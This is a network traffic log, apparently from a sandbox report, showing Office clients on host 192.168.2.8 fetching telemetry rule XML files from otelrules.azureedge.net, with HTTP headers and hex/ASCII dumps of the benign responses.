Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:07 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:08 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190008Z-178bfbc474bp8mkvhC1NYCzqnn00000001tg0000000042qs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:08 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:07 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:08 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 4ee4281a-701e-0098-0fa0-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190008Z-r1d97b99577ndm4rhC1TEBf0ps0000000axg000000007kuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:08 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	49926	13.107.246.63	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:08 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:08 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:08 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 5299485c-c01e-0079-7f47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190008Z-r1d97b99577ndm4rhC1TEBf0ps0000000awg00000000amsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 19:00:08 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:08 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:08 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:08 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190008Z-178bfbc474b7cbwqhC1NYC8z4n00000001q000000000xvsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:08 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:09 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190009Z-178bfbc474bw8bwphC1NYC38b400000001rg00000000dg3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:10 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:10 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190010Z-178bfbc474bbbqrhhC1NYCvw74000000022g000000008nnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:10 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:10 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:10 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:10 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190010Z-174c587ffdf8fcgwhC1TEBnn7000000000dg000000000kah x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:10 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:10 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190010Z-1777c6cb7544n7p6hC1TEBph9800000000gg00000000ppfy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:10 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8dc50228-301e-0020-23c1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190010Z-r1d97b99577jlrkbhC1TEBq8d00000000ar0000000005d4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:11 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: c2530309-f01e-0099-202e-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190012Z-178bfbc474bv7whqhC1NYC1fg400000001tg00000000xap0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 87d4223c-501e-005b-302f-3cd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190012Z-178bfbc474bfw4gbhC1NYCunf400000001yg000000005d5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:12 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:12 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:12 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190012Z-178bfbc474bbcwv4hC1NYCypys00000001ng00000000vw2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
